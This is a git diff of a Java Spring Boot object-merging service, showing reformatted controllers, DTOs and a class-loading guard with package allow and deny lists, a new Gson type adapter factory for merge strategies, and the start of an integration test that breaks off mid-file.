public YamlJackson2HttpMessageConverter() { - super(new YAMLMapper(), MediaType.parseMediaType("application/x-yaml")); + public static class YamlJackson2HttpMessageConverter + extends AbstractJackson2HttpMessageConverter { + public YamlJackson2HttpMessageConverter() { + super(new YAMLMapper(), MediaType.parseMediaType("application/x-yaml")); + } } - } } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/controller/MergeController.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/controller/MergeController.java index fdfe654..645fb2f 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/controller/MergeController.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/controller/MergeController.java @@ -25,180 +25,191 @@ @RestController @RequestMapping("/api/v1/merge") @Tag( - name = "ObjectMerger", - description = "Merge multiple sources into a single object using strategies") + name = "ObjectMerger", + description = "Merge multiple sources into a single object using strategies") public class MergeController { - private final ObjectMergerService mergerService; - private final ClassLoadingGuard classLoadingGuard; - - public MergeController(ObjectMergerService mergerService, ClassLoadingGuard classLoadingGuard) { - this.mergerService = mergerService; - this.classLoadingGuard = classLoadingGuard; - } - - @PostMapping(consumes = "application/json", produces = "application/json") - @Operation( - summary = "Merge multiple sources (JSON)", - description = - "Merge multiple labeled sources into a single object using the provided merge definition (JSON format)") - @ApiResponse(responseCode = "200", description = "Merge successful") - @ApiResponse(responseCode = "400", description = "Invalid request or merge failed") - public ResponseEntity merge(@RequestBody MergeRequest request) { - try { - MergeDefinition definition = MergeDefinitionConverter.fromMap(request.getDefinition()); - - @SuppressWarnings("unchecked") - List> sources = - (List) - request.getSources().stream() - .map(dto -> new LabeledSource<>(dto.getLabel(), dto.getData())) - .toList(); - - Object result = mergerService.merge(request.getTargetClass(), definition, sources); - - return ResponseEntity.ok(result); - } catch (SecurityException securityException) { - log.warn("Blocked merge request: {}", securityException.getMessage()); - return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); - } catch (ClassNotFoundException classNotFoundException) { - return ResponseEntity.badRequest().body(Map.of("error", "Target class not found")); - } catch (Exception e) { - log.error("Merge failed", e); - return ResponseEntity.badRequest().body(Map.of("error", "Merge failed")); + private final ObjectMergerService mergerService; + private final ClassLoadingGuard classLoadingGuard; + + public MergeController(ObjectMergerService mergerService, ClassLoadingGuard classLoadingGuard) { + this.mergerService = mergerService; + this.classLoadingGuard = classLoadingGuard; + } + + @PostMapping(consumes = "application/json", produces = "application/json") + @Operation( + summary = "Merge multiple sources (JSON)", + description = + "Merge multiple labeled sources into a single object using the provided merge definition (JSON format)") + @ApiResponse(responseCode = "200", description = "Merge successful") + @ApiResponse(responseCode = "400", description = "Invalid request or merge failed") + public ResponseEntity merge(@RequestBody MergeRequest request) { + try { + MergeDefinition definition = MergeDefinitionConverter.fromMap(request.getDefinition()); + + @SuppressWarnings("unchecked") + List> sources = + (List) + request.getSources().stream() + .map(dto -> new LabeledSource<>(dto.getLabel(), dto.getData())) + .toList(); + + Object result = mergerService.merge(request.getTargetClass(), definition, sources); + + return ResponseEntity.ok(result); + } catch (SecurityException securityException) { + log.warn("Blocked merge request: {}", securityException.getMessage()); + return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); + } catch (ClassNotFoundException classNotFoundException) { + return ResponseEntity.badRequest().body(Map.of("error", "Target class not found")); + } catch (Exception e) { + log.error("Merge failed", e); + return ResponseEntity.badRequest().body(Map.of("error", "Merge failed")); + } } - } - - @PostMapping(value = "/yaml", consumes = "application/x-yaml", produces = "application/x-yaml") - @Operation( - summary = "Merge multiple sources (YAML)", - description = - "Merge multiple labeled sources into a single object using the provided merge definition (YAML format)") - @ApiResponse(responseCode = "200", description = "Merge successful") - @ApiResponse(responseCode = "400", description = "Invalid request or merge failed") - public ResponseEntity mergeYaml(@RequestBody MergeRequest request) { - try { - MergeDefinition definition = MergeDefinitionConverter.fromMap(request.getDefinition()); - - @SuppressWarnings("unchecked") - List> sources = - (List) - request.getSources().stream() - .map(dto -> new LabeledSource<>(dto.getLabel(), dto.getData())) - .toList(); - - Object result = mergerService.merge(request.getTargetClass(), definition, sources); - - return ResponseEntity.ok(result); - } catch (SecurityException securityException) { - log.warn("Blocked YAML merge request: {}", securityException.getMessage()); - return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); - } catch (ClassNotFoundException classNotFoundException) { - return ResponseEntity.badRequest().body(Map.of("error", "Target class not found")); - } catch (Exception e) { - log.error("YAML merge failed", e); - return ResponseEntity.badRequest().body(Map.of("error", "Merge failed")); + + @PostMapping(value = "/yaml", consumes = "application/x-yaml", produces = "application/x-yaml") + @Operation( + summary = "Merge multiple sources (YAML)", + description = + "Merge multiple labeled sources into a single object using the provided merge definition (YAML format)") + @ApiResponse(responseCode = "200", description = "Merge successful") + @ApiResponse(responseCode = "400", description = "Invalid request or merge failed") + public ResponseEntity mergeYaml(@RequestBody MergeRequest request) { + try { + MergeDefinition definition = MergeDefinitionConverter.fromMap(request.getDefinition()); + + @SuppressWarnings("unchecked") + List> sources = + (List) + request.getSources().stream() + .map(dto -> new LabeledSource<>(dto.getLabel(), dto.getData())) + .toList(); + + Object result = mergerService.merge(request.getTargetClass(), definition, sources); + + return ResponseEntity.ok(result); + } catch (SecurityException securityException) { + log.warn("Blocked YAML merge request: {}", securityException.getMessage()); + return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); + } catch (ClassNotFoundException classNotFoundException) { + return ResponseEntity.badRequest().body(Map.of("error", "Target class not found")); + } catch (Exception e) { + log.error("YAML merge failed", e); + return ResponseEntity.badRequest().body(Map.of("error", "Merge failed")); + } } - } - - @GetMapping("/health") - @Operation(summary = "Health check", description = "Check if the merge service is running") - public ResponseEntity> health() { - return ResponseEntity.ok(Map.of("status", "UP")); - } - - @PostMapping("/example") - @Operation( - summary = "Merge Person example", - description = - "Example merge of a Person object from three sources (database, crm, analytics)") - public ResponseEntity mergePersonExample() { - try { - Map> defMap = new LinkedHashMap<>(); - - defMap.put( - "name", - Map.of( - "strategy", "priority", "priority", Map.of("database", 1, "crm", 2, "analytics", 3))); - - defMap.put("age", Map.of("strategy", "maximum", "defaultValue", 0)); - - defMap.put( - "email", - Map.of( - "strategy", "priority", "priority", Map.of("database", 1, "crm", 2, "analytics", 3))); - - defMap.put( - "phone", - Map.of( - "strategy", "priority", "priority", Map.of("analytics", 1, "crm", 2, "database", 3))); - - MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); - - Map dbData = new LinkedHashMap<>(); - dbData.put("name", "Max Müller"); - dbData.put("age", 30); - dbData.put("email", "max@example.com"); - dbData.put("phone", null); - - Map crmData = new LinkedHashMap<>(); - crmData.put("name", "Maximilian Müller"); - crmData.put("age", 25); - crmData.put("email", null); - crmData.put("phone", "030-123456"); - - Map analyticsData = new LinkedHashMap<>(); - analyticsData.put("name", null); - analyticsData.put("age", 35); - analyticsData.put("email", "max.mueller@example.de"); - analyticsData.put("phone", "030-654321"); - - @SuppressWarnings("unchecked") - List> sources = - (List) - List.of( - new LabeledSource<>("database", dbData), - new LabeledSource<>("crm", crmData), - new LabeledSource<>("analytics", analyticsData)); - - Object result = mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); - - return ResponseEntity.ok(result); - } catch (Exception e) { - log.error("Example merge failed", e); - return ResponseEntity.badRequest().body(Map.of("error", "Example merge failed")); + + @GetMapping("/health") + @Operation(summary = "Health check", description = "Check if the merge service is running") + public ResponseEntity> health() { + return ResponseEntity.ok(Map.of("status", "UP")); } - } - @PostMapping("/generator/class") - @Operation( - summary = "Generate definition from Class", - description = "Generates a default merge definition based on the fields of a known class") - public ResponseEntity generateFromClass(@RequestBody Map request) { - String className = request.get("className"); + @PostMapping("/example") + @Operation( + summary = "Merge Person example", + description = + "Example merge of a Person object from three sources (database, crm, analytics)") + public ResponseEntity mergePersonExample() { + try { + Map> defMap = new LinkedHashMap<>(); + + defMap.put( + "name", + Map.of( + "strategy", + "priority", + "priority", + Map.of("database", 1, "crm", 2, "analytics", 3))); + + defMap.put("age", Map.of("strategy", "maximum", "defaultValue", 0)); + + defMap.put( + "email", + Map.of( + "strategy", + "priority", + "priority", + Map.of("database", 1, "crm", 2, "analytics", 3))); + + defMap.put( + "phone", + Map.of( + "strategy", + "priority", + "priority", + Map.of("analytics", 1, "crm", 2, "database", 3))); + + MergeDefinition definition = MergeDefinitionConverter.fromMap(defMap); + + Map dbData = new LinkedHashMap<>(); + dbData.put("name", "Max Müller"); + dbData.put("age", 30); + dbData.put("email", "max@example.com"); + dbData.put("phone", null); + + Map crmData = new LinkedHashMap<>(); + crmData.put("name", "Maximilian Müller"); + crmData.put("age", 25); + crmData.put("email", null); + crmData.put("phone", "030-123456"); + + Map analyticsData = new LinkedHashMap<>(); + analyticsData.put("name", null); + analyticsData.put("age", 35); + analyticsData.put("email", "max.mueller@example.de"); + analyticsData.put("phone", "030-654321"); + + @SuppressWarnings("unchecked") + List> sources = + (List) + List.of( + new LabeledSource<>("database", dbData), + new LabeledSource<>("crm", crmData), + new LabeledSource<>("analytics", analyticsData)); + + Object result = + mergerService.merge("de.x132.objectmerger.model.Person", definition, sources); + + return ResponseEntity.ok(result); + } catch (Exception e) { + log.error("Example merge failed", e); + return ResponseEntity.badRequest().body(Map.of("error", "Example merge failed")); + } + } - if ("Person".equalsIgnoreCase(className)) { - className = "de.x132.objectmerger.model.Person"; + @PostMapping("/generator/class") + @Operation( + summary = "Generate definition from Class", + description = + "Generates a default merge definition based on the fields of a known class") + public ResponseEntity generateFromClass(@RequestBody Map request) { + String className = request.get("className"); + + if ("Person".equalsIgnoreCase(className)) { + className = "de.x132.objectmerger.model.Person"; + } + + try { + Class clazz = classLoadingGuard.loadClassSafely(className); + MergeDefinition definition = MergeDefinitionGenerator.generate(clazz); + return ResponseEntity.ok(definition); + } catch (SecurityException securityException) { + log.warn("Blocked class generation request: {}", securityException.getMessage()); + return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); + } catch (ClassNotFoundException classNotFoundException) { + return ResponseEntity.badRequest().body(Map.of("error", "Class not found")); + } } - try { - Class clazz = classLoadingGuard.loadClassSafely(className); - MergeDefinition definition = MergeDefinitionGenerator.generate(clazz); - return ResponseEntity.ok(definition); - } catch (SecurityException securityException) { - log.warn("Blocked class generation request: {}", securityException.getMessage()); - return ResponseEntity.status(403).body(Map.of("error", securityException.getMessage())); - } catch (ClassNotFoundException classNotFoundException) { - return ResponseEntity.badRequest().body(Map.of("error", "Class not found")); + @PostMapping("/generator/json") + @Operation( + summary = "Generate definition from JSON", + description = "Generates a default merge definition based on the keys of a JSON object") + public ResponseEntity generateFromJson(@RequestBody Map json) { + MergeDefinition definition = MergeDefinitionGenerator.generate(json); + return ResponseEntity.ok(definition); } - } - - @PostMapping("/generator/json") - @Operation( - summary = "Generate definition from JSON", - description = "Generates a default merge definition based on the keys of a JSON object") - public ResponseEntity generateFromJson(@RequestBody Map json) { - MergeDefinition definition = MergeDefinitionGenerator.generate(json); - return ResponseEntity.ok(definition); - } } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/LabeledSourceDTO.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/LabeledSourceDTO.java index c568a8a..058d157 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/LabeledSourceDTO.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/LabeledSourceDTO.java @@ -11,9 +11,9 @@ @Schema(description = "A labeled source for merging") public class LabeledSourceDTO { - @Schema(description = "Label/identifier for the source", example = "database") - private String label; + @Schema(description = "Label/identifier for the source", example = "database") + private String label; - @Schema(description = "The source object data") - private Object data; + @Schema(description = "The source object data") + private Object data; } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/MergeRequest.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/MergeRequest.java index fc99b8c..a455dac 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/MergeRequest.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/dto/MergeRequest.java @@ -10,15 +10,15 @@ @Schema(description = "Request to merge multiple sources into a single object") public class MergeRequest { - @JsonProperty("targetClass") - @Schema(description = "Fully qualified target class name", example = "de.x132.cli.Person") - private String targetClass; + @JsonProperty("targetClass") + @Schema(description = "Fully qualified target class name", example = "de.x132.cli.Person") + private String targetClass; - @JsonProperty("definition") - @Schema(description = "Merge definition with strategies and priorities") - private Map> definition; + @JsonProperty("definition") + @Schema(description = "Merge definition with strategies and priorities") + private Map> definition; - @JsonProperty("sources") - @Schema(description = "Labeled sources to merge") - private List sources; + @JsonProperty("sources") + @Schema(description = "Labeled sources to merge") + private List sources; } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/model/Person.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/model/Person.java index c4ebffe..1d71d85 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/model/Person.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/model/Person.java @@ -4,8 +4,8 @@ @Data public class Person { - private String name; - private Integer age; - private String email; - private String phone; + private String name; + private Integer age; + private String email; + private String phone; } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/security/ClassLoadingGuard.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/security/ClassLoadingGuard.java index 7543bca..6f971f5 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/security/ClassLoadingGuard.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/security/ClassLoadingGuard.java @@ -11,70 +11,70 @@ @ConfigurationProperties(prefix = "objectmerger.security") public class ClassLoadingGuard { - private static final List DEFAULT_ALLOWED_PACKAGES = - List.of("de.x132.objectmerger.model."); + private static final List DEFAULT_ALLOWED_PACKAGES = + List.of("de.x132.objectmerger.model."); - private List allowedPackages = DEFAULT_ALLOWED_PACKAGES; + private List allowedPackages = DEFAULT_ALLOWED_PACKAGES; - public void setAllowedPackages(List allowedPackages) { - this.allowedPackages = allowedPackages; - } - - public List getAllowedPackages() { - return allowedPackages; - } - - public Class loadClassSafely(String className) throws ClassNotFoundException { - if (className == null || className.isBlank()) { - throw new SecurityException("Class name must not be null or blank"); + public void setAllowedPackages(List allowedPackages) { + this.allowedPackages = allowedPackages; } - if (isMapClass(className)) { - return Map.class; + public List getAllowedPackages() { + return allowedPackages; } - rejectDangerousPackages(className); - rejectUnlistedPackage(className); + public Class loadClassSafely(String className) throws ClassNotFoundException { + if (className == null || className.isBlank()) { + throw new SecurityException("Class name must not be null or blank"); + } + + if (isMapClass(className)) { + return Map.class; + } - return Class.forName(className); - } + rejectDangerousPackages(className); + rejectUnlistedPackage(className); - private boolean isMapClass(String className) { - return "java.util.Map".equals(className) - || "java.util.HashMap".equals(className) - || "java.util.LinkedHashMap".equals(className); - } + return Class.forName(className); + } + + private boolean isMapClass(String className) { + return "java.util.Map".equals(className) + || "java.util.HashMap".equals(className) + || "java.util.LinkedHashMap".equals(className); + } - private void rejectDangerousPackages(String className) { - if (className.startsWith("java.lang.") - || className.startsWith("java.io.") - || className.startsWith("java.net.") - || className.startsWith("java.nio.") - || className.startsWith("javax.") - || className.startsWith("sun.") - || className.startsWith("com.sun.") - || className.startsWith("java.lang.reflect.") - || className.startsWith("java.util.concurrent.")) { - log.warn("Blocked attempt to load dangerous class: {}", className); - throw new SecurityException( - "Loading class '" + className + "' is not allowed for security reasons"); + private void rejectDangerousPackages(String className) { + if (className.startsWith("java.lang.") + || className.startsWith("java.io.") + || className.startsWith("java.net.") + || className.startsWith("java.nio.") + || className.startsWith("javax.") + || className.startsWith("sun.") + || className.startsWith("com.sun.") + || className.startsWith("java.lang.reflect.") + || className.startsWith("java.util.concurrent.")) { + log.warn("Blocked attempt to load dangerous class: {}", className); + throw new SecurityException( + "Loading class '" + className + "' is not allowed for security reasons"); + } } - } - private void rejectUnlistedPackage(String className) { - for (String allowedPackage : allowedPackages) { - if (className.startsWith(allowedPackage)) { - return; - } + private void rejectUnlistedPackage(String className) { + for (String allowedPackage : allowedPackages) { + if (className.startsWith(allowedPackage)) { + return; + } + } + log.warn( + "Blocked attempt to load class '{}' - not in allowed packages: {}", + className, + allowedPackages); + throw new SecurityException( + "Class '" + + className + + "' is not in the list of allowed packages. " + + "Configure 'objectmerger.security.allowed-packages' to allow it."); } - log.warn( - "Blocked attempt to load class '{}' - not in allowed packages: {}", - className, - allowedPackages); - throw new SecurityException( - "Class '" - + className - + "' is not in the list of allowed packages. " - + "Configure 'objectmerger.security.allowed-packages' to allow it."); - } } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/service/ObjectMergerService.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/service/ObjectMergerService.java index fbf0bea..44339cd 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/service/ObjectMergerService.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/service/ObjectMergerService.java @@ -15,63 +15,65 @@ @Service public class ObjectMergerService { - private final Gson gson = new Gson(); - private final ClassLoadingGuard classLoadingGuard; + private final Gson gson = new Gson(); + private final ClassLoadingGuard classLoadingGuard; - public ObjectMergerService(ClassLoadingGuard classLoadingGuard) { - this.classLoadingGuard = classLoadingGuard; - } + public ObjectMergerService(ClassLoadingGuard classLoadingGuard) { + this.classLoadingGuard = classLoadingGuard; + } + + @SuppressWarnings("unchecked") + public Object merge( + String targetClass, MergeDefinition definition, List> sources) + throws ClassNotFoundException { - @SuppressWarnings("unchecked") - public Object merge( - String targetClass, MergeDefinition definition, List> sources) - throws ClassNotFoundException { + Class clazz = (Class) classLoadingGuard.loadClassSafely(targetClass); - Class clazz = (Class) classLoadingGuard.loadClassSafely(targetClass); + if (Map.class.isAssignableFrom(clazz)) { + return mergeAsMaps(definition, sources); + } - if (Map.class.isAssignableFrom(clazz)) { - return mergeAsMaps(definition, sources); + return mergeAsPojos(clazz, definition, sources); } - return mergeAsPojos(clazz, definition, sources); - } + private Object mergeAsMaps(MergeDefinition definition, List> sources) { + List>> mapSources = new ArrayList<>(); + for (LabeledSource source : sources) { + Object sourceData = source.getSource(); + if (sourceData instanceof Map) { + mapSources.add( + new LabeledSource<>(source.getLabel(), (Map) sourceData)); + } else { + String json = gson.toJson(sourceData); + Map map = gson.fromJson(json, Map.class); + mapSources.add(new LabeledSource<>(source.getLabel(), map)); + } + } - private Object mergeAsMaps(MergeDefinition definition, List> sources) { - List>> mapSources = new ArrayList<>(); - for (LabeledSource source : sources) { - Object sourceData = source.getSource(); - if (sourceData instanceof Map) { - mapSources.add(new LabeledSource<>(source.getLabel(), (Map) sourceData)); - } else { - String json = gson.toJson(sourceData); - Map map = gson.fromJson(json, Map.class); - mapSources.add(new LabeledSource<>(source.getLabel(), map)); - } + @SuppressWarnings("unchecked") + Object mergedMap = ObjectMerger.merge(definition, mapSources.toArray(new LabeledSource[0])); + return mergedMap; } - @SuppressWarnings("unchecked") - Object mergedMap = ObjectMerger.merge(definition, mapSources.toArray(new LabeledSource[0])); - return mergedMap; - } + private Object mergeAsPojos( + Class clazz, MergeDefinition definition, List> sources) { + List> convertedSources = new ArrayList<>(); + for (LabeledSource source : sources) { + Object sourceData = source.getSource(); - private Object mergeAsPojos( - Class clazz, MergeDefinition definition, List> sources) { - List> convertedSources = new ArrayList<>(); - for (LabeledSource source : sources) { - Object sourceData = source.getSource(); + if (sourceData instanceof Map) { + String json = gson.toJson(sourceData); + Object pojo = gson.fromJson(json, clazz); + convertedSources.add(new LabeledSource<>(source.getLabel(), pojo)); + } else { + convertedSources.add(new LabeledSource<>(source.getLabel(), sourceData)); + } + } - if (sourceData instanceof Map) { - String json = gson.toJson(sourceData); - Object pojo = gson.fromJson(json, clazz); - convertedSources.add(new LabeledSource<>(source.getLabel(), pojo)); - } else { - convertedSources.add(new LabeledSource<>(source.getLabel(), sourceData)); - } + @SuppressWarnings("unchecked") + Object merged = + ObjectMerger.merge( + clazz, definition, convertedSources.toArray(new LabeledSource[0])); + return merged; } - - @SuppressWarnings("unchecked") - Object merged = - ObjectMerger.merge(clazz, definition, convertedSources.toArray(new LabeledSource[0])); - return merged; - } } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/FieldDefinitionTypeAdapterFactory.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/FieldDefinitionTypeAdapterFactory.java new file mode 100644 index 0000000..fccc54a --- /dev/null +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/FieldDefinitionTypeAdapterFactory.java @@ -0,0 +1,69 @@ +package de.x132.objectmerger.util; + +import com.google.gson.Gson; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.TypeAdapter; +import com.google.gson.TypeAdapterFactory; +import com.google.gson.reflect.TypeToken; +import com.google.gson.stream.JsonReader; +import com.google.gson.stream.JsonWriter; +import de.x132.objectmerger.registry.StrategyRegistry; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.MergeStrategy; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.io.IOException; + +public class FieldDefinitionTypeAdapterFactory implements TypeAdapterFactory { + + @Override + @SuppressWarnings("unchecked") + public TypeAdapter create(Gson gson, TypeToken type) { + if (type.getRawType() != FieldDefinition.class) { + return null; + } + return (TypeAdapter) new FieldDefinitionAdapter(gson).nullSafe(); + } + + private static class FieldDefinitionAdapter extends TypeAdapter> { + private final Gson gson; + private final TypeAdapter elementAdapter; + + private FieldDefinitionAdapter(Gson gson) { + this.gson = gson; + this.elementAdapter = gson.getAdapter(JsonElement.class); + } + + @Override + public void write(JsonWriter out, FieldDefinition value) { + throw new UnsupportedOperationException( + "Serialization to FieldDefinition not supported"); + } + + @Override + public FieldDefinition read(JsonReader in) throws IOException { + JsonElement jsonElement = elementAdapter.read(in); + JsonObject jsonObject = jsonElement.getAsJsonObject(); + + String strategy = + jsonObject.has("strategy") + ? jsonObject.get("strategy").getAsString() + : "standard"; + + Class targetClass = StandardFieldDefinition.class; + + MergeStrategy mergeStrategy = + StrategyRegistry.getInstance().getStrategy(strategy); + + if (mergeStrategy != null) { + Class configClass = + mergeStrategy.getConfigurationClass(); + if (configClass != FieldDefinition.class) { + targetClass = configClass; + } + } + + return gson.getAdapter(targetClass).fromJsonTree(jsonElement); + } + } +} diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/MergeDefinitionConverter.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/MergeDefinitionConverter.java index 90c6b3b..a06507b 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/MergeDefinitionConverter.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/util/MergeDefinitionConverter.java @@ -3,72 +3,25 @@ import com.google.gson.Gson; import com.google.gson.GsonBuilder; import de.x132.objectmerger.MergeDefinition; -import de.x132.objectmerger.strategy.list.ListFieldDefinition; -import de.x132.objectmerger.strategy.map.MapFieldDefinition; -import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; import java.util.Map; -/** - * Converts JSON/Map-based merge definitions to proper MergeDefinition objects using Gson for - * serialization. - */ public class MergeDefinitionConverter { - private static final Gson gson; + private static final Gson gson; - static { - GsonBuilder builder = new GsonBuilder(); - builder.registerTypeAdapter( - de.x132.objectmerger.strategy.FieldDefinition.class, - (com.google.gson.JsonDeserializer>) - (json, typeOfT, context) -> { - com.google.gson.JsonObject jsonObject = json.getAsJsonObject(); - String strategy = - jsonObject.has("strategy") - ? jsonObject.get("strategy").getAsString() - : "standard"; - - Class targetClass; - - switch (strategy) { - case "priority": - targetClass = PriorityFieldDefinition.class; - break; - case "mergeMap": - targetClass = MapFieldDefinition.class; - break; - case "mergeList": - targetClass = ListFieldDefinition.class; - break; - case "mvel": - targetClass = de.x132.objectmerger.strategy.mvel.MvelFieldDefinition.class; - break; - case "nested": - targetClass = de.x132.objectmerger.strategy.nested.NestedFieldDefinition.class; - break; - case "conditional": - targetClass = - de.x132.objectmerger.strategy.conditional.ConditionalFieldDefinition.class; - break; - default: - targetClass = - de.x132.objectmerger.strategy.standard.StandardFieldDefinition.class; - break; - } - - return context.deserialize(json, targetClass); - }); - gson = builder.create(); - } + static { + gson = + new GsonBuilder() + .registerTypeAdapterFactory(new FieldDefinitionTypeAdapterFactory()) + .create(); + } - public static MergeDefinition fromMap(Map> definitionMap) { - try { - // Convert map to JSON string - String json = gson.toJson(Map.of("definitions", definitionMap)); - // Parse back to MergeDefinition - return gson.fromJson(json, MergeDefinition.class); - } catch (Exception e) { - throw new IllegalArgumentException("Invalid merge definition: " + e.getMessage(), e); + public static MergeDefinition fromMap(Map> definitionMap) { + try { + String json = gson.toJson(Map.of("definitions", definitionMap)); + return gson.fromJson(json, MergeDefinition.class); + } catch (Exception e) { + throw new IllegalArgumentException("Invalid merge definition: " + e.getMessage(), e); + } } - } } diff --git a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerIntegrationTest.java b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerIntegrationTest.java index 9f6c430..50e94d7 100644 --- a/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerIntegrationTest.java +++ b/objectmerger-spring-boot/src/test/java/de/x132/objectmerger/controller/MergeControllerIntegrationTest.java @@ -1,13 +1,18 @@ package de.x132.objectmerger.controller; -import static org.hamcrest.Matchers.*; -import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; -import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; import com.fasterxml.jackson.databind.ObjectMapper; import de.x132.objectmerger.dto.LabeledSourceDTO; import de.x132.objectmerger.dto.MergeRequest; -import java.util.*; +import java.util.Arrays; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -21,388 +26,396 @@ @DisplayName("MergeController Integration Tests") class MergeControllerIntegrationTest { - @Autowired private MockMvc mockMvc; - - @Autowired private ObjectMapper objectMapper; - - @Test - @DisplayName("Should return UP status from health endpoint") - void testHealthEndpoint() throws Exception { - mockMvc - .perform(get("/api/v1/merge/health")) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.status").value("UP")); - } - - @Test - @DisplayName("Should merge person from example endpoint") - void testExampleEndpoint() throws Exception { - mockMvc - .perform(post("/api/v1/merge/example")) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.name").value("Max Müller")) - .andExpect(jsonPath("$.age").value(35)) - .andExpect(jsonPath("$.email").value("max@example.com")) - .andExpect(jsonPath("$.phone").value("030-654321")); - } - - @Test - @DisplayName("Should merge person with priority strategy") - void testMergeWithPriorityStrategy() throws Exception { - // Prepare request - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - // Define merge definition with priority - Map> definition = new LinkedHashMap<>(); - definition.put( - "name", Map.of("strategy", "priority", "priority", Map.of("database", 1, "crm", 2))); - definition.put("age", Map.of("strategy", "maximum")); - definition.put("email", Map.of("strategy", "priority", "priority", Map.of("database", 1))); - definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("crm", 1))); - request.setDefinition(definition); - - // Define sources - Map dbSource = new LinkedHashMap<>(); - dbSource.put("name", "Max Müller"); - dbSource.put("age", 30); - dbSource.put("email", "max@example.com"); - dbSource.put("phone", null); - - Map crmSource = new LinkedHashMap<>(); - crmSource.put("name", "Maximilian Müller"); - crmSource.put("age", 25); - crmSource.put("email", null); - crmSource.put("phone", "030-123456"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("database", dbSource), new LabeledSourceDTO("crm", crmSource)); - request.setSources(sources); - - // Execute request - mockMvc - .perform( - post("/api/v1/merge") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(request))) - .andExpect(status().isOk()) - .andExpect(jsonPath("$.name").value("Max Müller")) // priority 1: database - .andExpect(jsonPath("$.age").value(30)) // maximum strategy - .andExpect(jsonPath("$.email").value("max@example.com")) // priority 1: database - .andExpect(jsonPath("$.phone").value("030-123456")); // priority 1: crm - } - - @Test - @DisplayName("Should merge with maximum strategy") - void testMergeWithMaximumStrategy() throws Exception { - MergeRequest request = new MergeRequest(); - request.setTargetClass("de.x132.objectmerger.model.Person"); - - Map> definition = new LinkedHashMap<>(); - definition.put("name", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("age", Map.of("strategy", "maximum")); - definition.put("email", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - definition.put("phone", Map.of("strategy", "priority", "priority", Map.of("source1", 1))); - request.setDefinition(definition); - - Map source1 = new LinkedHashMap<>(); - source1.put("name", "John"); - source1.put("age", 25); - source1.put("email", "john@example.com"); - source1.put("phone", "111"); - - Map source2 = new LinkedHashMap<>(); - source2.put("name", "Jane"); - source2.put("age", 35); - source2.put("email", "jane@example.com"); - source2.put("phone", "222"); - - Map source3 = new LinkedHashMap<>(); - source3.put("name", "Bob"); - source3.put("age", 30); - source3.put("email", "bob@example.com"); - source3.put("phone", "333"); - - List sources = - Arrays.asList( - new LabeledSourceDTO("source1", source1), - new LabeledSourceDTO("source2", source2), - new LabeledSourceDTO("source3", source3)); - request.setSources(sources); - - mockMvc - .perform( - post("/api/v1/merge") - 